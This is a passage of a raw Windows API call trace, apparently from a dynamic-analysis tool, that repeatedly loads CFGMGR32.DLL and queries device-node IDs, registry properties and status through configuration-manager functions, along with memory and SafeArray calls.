GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.705] malloc (_Size=0x18) returned 0x20abc2819a0 [0209.706] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.706] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38c2f37c, dwHighDateTime=0x1d9eb0c)) [0209.706] SetEvent (hEvent=0x248) returned 1 [0209.710] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.710] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.713] malloc (_Size=0x18) returned 0x20abc281be0 [0209.713] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.713] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38c2f37c, dwHighDateTime=0x1d9eb0c)) [0209.714] SetEvent (hEvent=0x248) returned 1 [0209.803] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.807] malloc (_Size=0x18) returned 0x20abc281f80 [0209.807] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.810] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38d1407d, dwHighDateTime=0x1d9eb0c)) [0209.811] SetEvent (hEvent=0x248) returned 1 [0210.033] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.033] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.037] malloc (_Size=0x18) returned 0x20abc281a40 [0210.037] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2e, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0210.037] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x38f503bf, dwHighDateTime=0x1d9eb0c)) [0210.038] SetEvent (hEvent=0x248) returned 1 [0210.042] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.042] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.047] malloc (_Size=0x18) returned 0x20abc281e60 [0210.048] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2e, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0210.048] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x38f76641, dwHighDateTime=0x1d9eb0c)) [0210.048] SetEvent (hEvent=0x248) returned 1 [0210.052] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.052] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.055] malloc (_Size=0x18) returned 0x20abc281d60 [0210.055] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0210.056] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38f76641, dwHighDateTime=0x1d9eb0c)) [0210.056] SetEvent (hEvent=0x248) returned 1 [0210.060] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.060] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.061] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.266] malloc (_Size=0x18) returned 0x20abc282000 [0210.266] CM_Get_Device_IDA (in: dnDevInst=0x2f, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\FIXEDBUTTON\\2&DABA3FF&0") returned 0x0 [0210.266] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3918c802, dwHighDateTime=0x1d9eb0c)) [0210.267] SetEvent (hEvent=0x248) returned 1 [0210.271] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.271] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.275] malloc (_Size=0x18) returned 0x20abc2819a0 [0210.276] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0210.276] malloc (_Size=0x3e) returned 0x20abc27cf80 [0210.277] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cf80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cf80, pulLength=0x2dc22fd3f8) returned 0x0 [0210.278] free (_Block=0x20abc27cf80) [0210.278] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3918c802, dwHighDateTime=0x1d9eb0c)) [0210.278] SetEvent (hEvent=0x248) returned 1 [0210.282] malloc (_Size=0x18) returned 0x20abc281a80 [0210.282] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0210.282] free (_Block=0x20abc281a80) [0210.282] malloc (_Size=0x18) returned 0x20abc281ec0 [0210.282] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0210.283] free (_Block=0x20abc281ec0) [0210.283] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0210.283] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0210.283] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0210.283] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0210.283] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b50 [0210.283] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0210.283] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0210.283] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0210.283] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0210.283] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.284] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.284] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b50) returned 1 [0210.285] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0210.285] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.285] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 